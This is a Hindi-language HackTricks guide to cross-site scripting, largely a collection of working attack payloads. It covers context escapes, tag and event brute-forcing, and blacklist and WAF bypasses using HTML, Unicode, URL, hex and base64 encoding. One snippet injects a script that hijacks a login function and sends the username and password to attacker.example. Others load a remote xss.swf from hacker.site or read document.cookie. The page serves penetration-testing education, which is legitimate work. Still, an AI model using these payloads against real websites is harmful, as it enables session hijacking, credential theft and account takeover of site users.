%.*s
XSS (Cross Site Scripting)
Reading time: 61 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
कार्यप्रणाली
- जाँचें कि क्या कोई भी मान जो आप नियंत्रित करते हैं (parameters, path, headers?, cookies?) HTML में प्रतिबिंबित हो रहा है या JS कोड द्वारा उपयोग किया जा रहा है।
- उस संदर्भ को खोजें जहाँ यह प्रतिबिंबित/उपयोग किया जा रहा है।
- अगर प्रतिबिंबित
- यह जाँचें कि आप कौन से प्रतीक उपयोग कर सकते हैं और उसके अनुसार payload तैयार करें:
- In raw HTML:
- क्या आप नए HTML टैग बना सकते हैं?
- क्या आप events या attributes का उपयोग कर सकते हैं जो
javascript:protocol का समर्थन करते हैं? - क्या आप protections को bypass कर सकते हैं?
- क्या HTML कंटेंट किसी client side JS engine (AngularJS, VueJS, Mavo...) द्वारा interpret किया जा रहा है — आप इसका दुरुपयोग कर सकते हैं: Client Side Template Injection.
- अगर आप ऐसे HTML टैग नहीं बना पा रहे जो JS कोड चलाएँ, तो क्या आप Dangling Markup - HTML scriptless injection का दुरुपयोग कर सकते हैं?
- किसी HTML tag के अंदर:
- क्या आप raw HTML संदर्भ में बाहर निकल सकते हैं?
- क्या आप JS कोड चलाने के लिए नए events/attributes बना सकते हैं?
- क्या जिस attribute में आप फँसे हैं वह JS execution का समर्थन करता है?
- क्या आप protections को bypass कर सकते हैं?
- JavaScript code के अंदर:
- क्या आप
<script>tag से escape कर सकते हैं? - क्या आप string से escape कर के अलग JS कोड execute कर सकते हैं?
- क्या आपका इनपुट template literals ```` में है?
- क्या आप protections को bypass कर सकते हैं?
- Javascript function being executed
- आप execute करने के लिए function का नाम बता सकते हैं। उदाहरण:
?callback=alert(1) - If used:
- आप DOM XSS का शोषण कर सकते हैं; ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका controlled input किसी भी sink द्वारा उपयोग किया जा रहा है।
When working on a complex XSS you might find interesting to know about:
प्रतिबिंबित मान
सफलतापूर्वक XSS का शोषण करने के लिए सबसे पहले आपको वह मान खोजने की जरूरत है जिसे आप नियंत्रित करते हैं और जो वेब पेज में प्रतिबिंबित हो रहा है।
- Intermediately reflected: अगर आप पाते हैं कि किसी parameter या यहाँ तक कि path का मान वेब पेज में प्रतिबिंबित हो रहा है तो आप Reflected XSS का शोषण कर सकते हैं।
- Stored and reflected: अगर आप पाते हैं कि आपका नियंत्रित मान सर्वर में सेव हो रहा है और पेज एक्सेस करने पर हर बार प्रतिबिंबित होता है तो आप Stored XSS का शोषण कर सकते हैं।
- Accessed via JS: अगर आप पाते हैं कि आपका नियंत्रित मान JS के माध्यम से एक्सेस किया जा रहा है तो आप DOM XSS का शोषण कर सकते हैं।
संदर्भ
जब आप XSS का शोषण करने की कोशिश कर रहे होते हैं तो सबसे पहले यह जानना जरूरी है कि आपका इनपुट कहाँ प्रतिबिंबित हो रहा है। संदर्भ के आधार पर, आप अलग-अलग तरीकों से arbitrary JS कोड चला पाएँगे।
Raw HTML
अगर आपका इनपुट raw HTML पेज पर प्रतिबिंबित हो रहा है तो आपको JS कोड चलाने के लिए कुछ HTML tag का दुरुपयोग करना होगा: <img , <iframe , <svg , <script ... ये केवल कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।
साथ ही, ध्यान दें Client Side Template Injection।
HTML टैग के attribute के अंदर
अगर आपका इनपुट किसी टैग के attribute के value के अंदर प्रतिबिंबित हो रहा है तो आप कोशिश कर सकते हैं:
- attribute और tag दोनों से escape (फिर आप raw HTML में होंगे) करके नया HTML टैग बनाकर दुरुपयोग करना:
"><img [...] - अगर आप attribute से escape कर सकते हैं पर tag से नहीं (
>encode या delete किया जा रहा है), तो टैग के आधार पर आप ऐसा event बना सकते हैं जो JS कोड चलाए:" autofocus onfocus=alert(1) x=" - अगर आप attribute से भी escape नहीं कर सकते (
"encode या delete किया जा रहा है), तो निर्भर करता है कि आपका मान किस attribute में प्रतिबिंबित हो रहा है और क्या आप पूरा मान नियंत्रित कर रहे हैं या केवल उसका हिस्सा — उसके अनुसार आप इसका दुरुपयोग कर पाएँगे। उदाहरण के लिए, अगर आप किसी event जैसेonclick=को नियंत्रित करते हैं तो आप क्लिक पर arbitrary कोड चलवा सकते हैं। एक और दिलचस्प उदाहरण attributehrefहै, जहाँ आपjavascript:protocol का उपयोग करके arbitrary कोड चला सकते हैं:href="javascript:alert(1)" - अगर आपका इनपुट "unexpoitable tags" के अंदर प्रतिबिंबित होता है तो आप vuln का दुरुपयोग करने के लिए
accesskeyट्रिक आज़मा सकते हैं (इसे exploit करने के लिए आपको किसी प्रकार की social engineering की आवश्यकता होगी):" accesskey="x" onclick="alert(1)" x="
Angular का एक अजीब उदाहरण जहाँ class name नियंत्रित करने पर XSS execute हो रहा है:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript कोड के अंदर
इस मामले में आपका इनपुट HTML पेज के <script> [...] </script> टैग्स के बीच, किसी .js फ़ाइल के अंदर या किसी attribute में जो javascript: प्रोटोकॉल का उपयोग कर रहा हो, पर परिलक्षित होता है:
- यदि यह
<script> [...] </script>टैग्स के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार की quotes के अंदर हो, आप</script>inject करके इस context से बाहर निकलने की कोशिश कर सकते हैं। यह इसलिए काम करता है क्योंकि ब्राउज़र पहले HTML टैग्स को पार्स करेगा और फिर कंटेंट को, इसलिए यह ध्यान नहीं देगा कि आपने जो</script>टैग inject किया है वह HTML कोड के अंदर है। - यदि यह inside a JS string पर परिलक्षित होता है और पिछला ट्रिक काम नहीं कर रहा है, तो आपको string से exit करना होगा, अपना कोड execute करना होगा और JS कोड को reconstruct करना होगा (यदि कोई error होगा, तो वह execute नहीं होगा:
'-alert(1)-'';-alert(1)//\';alert(1)//- यदि यह template literals के अंदर परिलक्षित होता है, तो आप
${ ... }syntax का उपयोग करके embed JS expressions कर सकते हैं:var greetings = `Hello, ${alert(1)}` - Unicode encode का उपयोग valid javascript code लिखने के लिए किया जा सकता है:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting उस अवसर को संदर्भित करता है कि आप functions, variables or classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन परिस्थितियों का दुरुपयोग कर सकें जहाँ एक XSS undeclared variables या functions का उपयोग कर रहा है।
अधिक जानकारी के लिए निम्नलिखित पेज देखें:
Javascript Function
कई वेब पेज ऐसे endpoints रखते हैं जो पैरामीटर के रूप में execute करने वाले function का नाम accept करते हैं। एक आम उदाहरण जो अक्सर मिलता है वह है: ?callback=callbackFunc.
यह पता लगाने का एक अच्छा तरीका कि उपयोगकर्ता द्वारा सीधे दी गई कोई चीज़ execute होने की कोशिश कर रही है या नहीं — param value को बदलना (उदाहरण के लिए 'Vulnerable') और console में ऐसी त्रुटियों को देखना:
.png)
अगर यह vulnerable है, तो आप केवल value भेजकर alert trigger कर सकते हैं: ?callback=alert(1). हालांकि, अक्सर ऐसे endpoints सामग्री को validate करते हैं ताकि केवल letters, numbers, dots और underscores की अनुमति हो ([\w\._])।
हालाँकि, उस सीमा के साथ भी कुछ क्रियाएँ करना संभव है। ऐसा इसलिए है क्योंकि आप उन मान्य chars का उपयोग करके DOM में किसी भी element को access कर सकते हैं:
.png)
इसके लिए कुछ उपयोगी functions:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
हालाँकि, आम तौर पर जो endpoints दिए गए function को execute करते हैं उनमें ज्यादा रोचक DOM नहीं होता, other pages in the same origin में अधिक रोचक DOM होगा ताकि और क्रियाएँ की जा सकें।
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href . एक attacker, इसका abuse करके arbitrary JS code execute कर सकता है।
Universal XSS
These kind of XSS can be found anywhere. वे केवल क्लाइंट के exploitation of a web application पर निर्भर नहीं करते बल्कि किसी भी context पर निर्भर कर सकते हैं। These kind of arbitrary JavaScript execution का दुरुपयोग RCE प्राप्त करने, क्लाइंट्स और सर्वरों पर read arbitrary files करने, और अन्य के लिए किया जा सकता है।
कुछ examples:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
जब आपका input HTML page के अंदर reflect होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहली चीज़ जो आपको करनी चाहिए वह यह जांचना है कि क्या आप < का दुरुपयोग करके नए टैग बना सकते हैं: बस उस char को reflect करने की कोशिश करें और देखें कि क्या उसे HTML encoded किया जा रहा है, deleted किया जा रहा है, या बिना बदलाव के reflected किया जा रहा है। केवल आखिरी स्थिति में ही आप इस मामले का exploit कर पाएंगे।
इन मामलों में भी ध्यान रखें Client Side Template Injection.
नोट: A HTML comment can be closed using****-->****or **--!>****
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
एक बार जब आप located which tags are allowed कर लें, तो आपको मिले हुए valid टैग्स के अंदर brute-force attributes/events करके देखना होगा कि आप context पर कैसे हमला कर सकते हैं।
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. फिर, उन सभी को Burp intruder से भेजें और चेक करें कि क्या किसी भी टैग को WAF ने malicious के रूप में detect नहीं किया। एक बार जब आप जान लें कि कौन से टैग्स उपयोग के लिए उपलब्ध हैं, तो आप valid टैग्स का उपयोग करके brute force all the events कर सकते हैं (उसी वेब पेज पर Copy events to clipboard पर क्लिक करें और पहले की तरह प्रक्रिया फॉलो करें)।
Custom tags
अगर आपको कोई valid HTML tag नहीं मिला, तो आप create a custom tag करके और onfocus attribute के साथ JS code execute करने की कोशिश कर सकते हैं। XSS request में आपको URL को # से खत्म करना होगा ताकि पेज उस ऑब्जेक्ट पर focus on that object करे और कोड execute हो:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
यदि किसी प्रकार की blacklist का उपयोग हो रहा है तो आप कुछ अजीब तरकीबों के साथ इसे bypass करने का प्रयास कर सकते हैं:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > अधिक tiny XSS विभिन्न वातावरणों के लिए payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
यदि vulnerability को exploit करने के लिए आपको user to click a link or a form जैसी किसी क्रिया की ज़रूरत है जिसमें prepopulated data हो, तो आप पेज vulnerable होने पर abuse Clickjacking आज़मा सकते हैं।
असंभव - Dangling Markup
यदि आपको लगता है कि it's impossible to create an HTML tag with an attribute to execute JS code, तो आप Danglig Markup चेक करें क्योंकि आप exploit कर सकते हैं vulnerability को बिना JS code execute किए।
Injecting inside HTML tag
टैग के अंदर/attribute value से escape करना
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
स्टाइल इवेंट्स
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
एट्रिब्यूट के अंदर
भले ही आप attribute से बाहर निकल न सकें (" is being encoded or deleted), यह निर्भर करता है कि आपकी value किस attribute में reflect हो रही है और क्या आप पूरे value को नियंत्रित करते हैं या सिर्फ उसका एक हिस्सा — इसके आधार पर आप इसका दुरुपयोग कर पाएँगे। उदाहरण के लिए, अगर आप किसी event जैसे onclick= को नियंत्रित करते हैं तो आप इसे क्लिक होने पर arbitrary code चलाने के लिए इस्तेमाल कर सकेंगे.\
एक और दिलचस्प example attribute href है, जहाँ आप javascript: protocol का उपयोग arbitrary code चलाने के लिए कर सकते हैं: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
HTML टैग्स के attributes के value के अंदर के HTML encoded characters runtime पर decoded on runtime हो जाते हैं। इसलिए निम्नलिखित जैसा कुछ वैध होगा (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
ध्यान दें कि URL encode भी काम करेगा:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass event के अंदर Unicode encode का उपयोग करके
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
attribute के भीतर विशेष प्रोटोकॉल
वहाँ आप कुछ जगहों पर प्रोटोकॉल javascript: या data: का उपयोग कर सकते हैं ताकि execute arbitrary JS code किया जा सके। कुछ मामलों में उपयोगकर्ता की इंटरैक्शन आवश्यक होगी, कुछ मामलों में नहीं।
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
जहाँ आप इन प्रोटोकॉल्स को इंजेक्ट कर सकते हैं
सामान्यतः javascript: प्रोटोकॉल को किसी भी टैग में उपयोग किया जा सकता है जो attribute href स्वीकार करता है और उन अधिकांश टैग्स में भी जो attribute src स्वीकार करते हैं (लेकिन <img> में नहीं)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
छलावरण की अन्य तरकीबें
इस मामले में पिछले अनुभाग की HTML encoding और Unicode encoding ट्रिक भी मान्य है क्योंकि आप एक attribute के अंदर हैं।
<a href="javascript:var a=''-alert(1)-''">
इसके अलावा, इन मामलों के लिए एक और nice trick है: भले ही आपका इनपुट javascript:... के अंदर URL encoded हो रहा हो, इसे execute होने से पहले URL decoded कर दिया जाएगा। इसलिए, अगर आपको single quote का उपयोग करके string से escape करना है और आप देखते हैं कि it's being URL encoded, तो याद रखें कि इससे कोई फर्क नहीं पड़ता, यह execution के समय single quote के रूप में interpreted होगा।
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
ध्यान दें कि अगर आप किसी भी क्रम में दोनों का उपयोग URLencode + HTMLencode करके payload को encode करने की कोशिश करते हैं तो यह काम नहीं करेगा, लेकिन आप इन्हें payload के अंदर mix कर सकते हैं।
Hex और Octal encode का उपयोग javascript: के साथ
आप iframe के src attribute के अंदर (कम से कम) Hex और Octal encode का उपयोग कर सकते हैं ताकि HTML tags to execute JS घोषित किए जा सकें:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
यदि आप किसी arbitrary <a href= टैग में कोई भी URL इंजेक्ट कर सकते हैं जो target="_blank" and rel="opener" attributes रखता है, तो इस व्यवहार का शोषण करने के लिए निम्नलिखित पृष्ठ देखें:
on इवेंट हैंडलर्स Bypass
सबसे पहले इस पृष्ठ को देखें (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) उपयोगी "on" ईवेंट हैंडलर्स के लिए.
यदि कोई blacklist आपको इन ईवेंट हैंडलर्स को बनाने से रोक रही है तो आप निम्नलिखित bypasses आज़मा सकते हैं:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS "Unexploitable tags" में (hidden input, link, canonical, meta)
यह here बताता है कि अब hidden inputs का दुरुपयोग निम्न के साथ किया जा सकता है:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
और मेटा टैग्स में:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
स्रोत: here: आप XSS payload inside a hidden attribute execute कर सकते हैं, बशर्ते आप persuade कर सकें victim को key combination दबाने के लिए। Firefox Windows/Linux पर key combination ALT+SHIFT+X है और OS X पर यह CTRL+ALT+X है। आप access key attribute में अलग key का उपयोग करके अलग key combination specify कर सकते हैं। यहाँ vector है:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload कुछ इस तरह होगा: " accesskey="x" onclick="alert(1)" x="
ब्लैकलिस्ट बायपास
इस सेक्शन में पहले ही विभिन्न encoding का उपयोग करके कई ट्रिक्स बताई जा चुकी हैं। वापस जाएँ और जानें कि आप कहाँ उपयोग कर सकते हैं:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
पढ़ें पिछले सेक्शन के Blacklist Bypasses.
JavaScript code के लिए बायपास
पढ़ें निम्नलिखित सेक्शन का JavaScript bypass blacklist.
CSS-Gadgets
यदि आप वेब के किसी बहुत छोटे हिस्से में XSS पाते हैं जो किसी तरह की interaction मांगता है (शायद footer में onmouseover वाले छोटे लिंक जैसा), तो आप उस element के घेरने वाले space को modify करने की कोशिश कर सकते हैं ताकि link के fired होने की संभावना अधिक हो।
उदाहरण के लिए, आप element में कुछ styling जोड़ सकते हैं जैसे: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
लेकिन, अगर WAF style attribute को filter कर रहा है, तो आप CSS Styling Gadgets का उपयोग कर सकते हैं, इसलिए अगर आप, उदाहरण के लिए पाएँ
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
अब आप हमारे लिंक को modify करके इस रूप में ला सकते हैं
<a href="" id=someid class=test onclick=alert() a="">
यह ट्रिक इस स्रोत से लिया गया है: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
इन मामलों में आपका input उस .js फ़ाइल के JS code के अंदर reflected होगा या <script>...</script> टैग्स के बीच, या उन HTML events के बीच जो JS code execute कर सकते हैं, या उन attributes के बीच जो javascript: protocol स्वीकार करते हैं।
<script> टैग से एस्केप करना
यदि आपका कोड <script> [...] var input = 'reflected data' [...] </script> के अंदर insert होता है तो आप आसानी से <script> को बंद करके एस्केप कर सकते हैं:
</script><img src=1 onerror=alert(document.domain)>
ध्यान दें कि इस उदाहरण में हमने single quote को भी बंद नहीं किया है। ऐसा इसलिए है क्योंकि HTML parsing पहले browser द्वारा किया जाता है, जो पृष्ठ के तत्वों की पहचान करना शामिल करता है, जिसमें script के ब्लॉक्स भी शामिल हैं। JavaScript की parsing, ताकि embedded scripts को समझकर और execute किया जा सके, केवल बाद में की जाती है।
JS code के अंदर
यदि <> sanitised किए जा रहे हैं, तब भी आप उस स्थान पर जहाँ आपका input located है, escape the string करके execute arbitrary JS कर सकते हैं। यह महत्वपूर्ण है कि आप fix JS syntax करें, क्योंकि यदि कोई त्रुटि होगी तो JS code execute नहीं होगा:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
जब user input किसी quoted JavaScript string के अंदर land करता है (उदा., server-side echo into an inline script), आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax repair करके parsing को valid बनाए रख सकते हैं। Generic skeleton:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
उदाहरण URL पैटर्न जब vulnerable parameter JS string में प्रतिबिंबित होता है:
?param=test";<INJECTION>;a="
यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS)। जब फ़िल्टर keywords को ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाएँ।
Template literals ``
JS में single और double quotes के अलावा strings बनाने के लिए backticks `` भी स्वीकार किए जाते हैं। इसे Template literals कहा जाता है क्योंकि ये ${ ... } सिंटैक्स का उपयोग करके embedded JS expressions को एम्बेड करने की अनुमति देते हैं।
इसलिए, अगर आपका इनपुट किसी JS string के अंदर reflected हो रहा है जो backticks का उपयोग कर रही है, तो आप ${ ... } सिंटैक्स का दुरुपयोग करके arbitrary JS code चला सकते हैं:
यह निम्न का उपयोग करके abused किया जा सकता है:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads with eval(atob()) और scope की बारीकियाँ
URLs को छोटा रखने और साधारण keyword फ़िल्टर को बायपास करने के लिए, आप अपनी असली logic को base64-encode करके उसे eval(atob('...')) से evaluate कर सकते हैं। अगर साधारण keyword filtering alert, eval, या atob जैसे identifiers को ब्लॉक कर देता है, तो Unicode-escaped identifiers का उपयोग करें जो ब्राउज़र में बिल्कुल समान तरीके से compile होते हैं लेकिन string-matching फिल्टर से बच जाते हैं:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
महत्वपूर्ण स्कोपिंग सूक्ष्मता:
const/let जो eval() के अंदर घोषित होते हैं वे block-scoped होते हैं और globals नहीं बनाते; वे बाद की स्क्रिप्ट्स से उपलब्ध नहीं होंगे।
जब आवश्यकता हो (e.g., किसी form handler को hijack करने के लिए), global, non-rebindable hooks परिभाषित करने के लिए डायनामिक रूप से इंजेक्ट किए गए <script> element का उपयोग करें:
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
संदर्भ: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode एन्कोड JS निष्पादन
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists techniques
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
विशेष एस्केप्स
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS कोड के अंदर स्पेस प्रतिस्थापन
<TAB>
/**/
JavaScript comments (से JavaScript Comments ट्रिक)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript नई पंक्तियाँ (से JavaScript new line ट्रिक)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript खाली स्थान
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
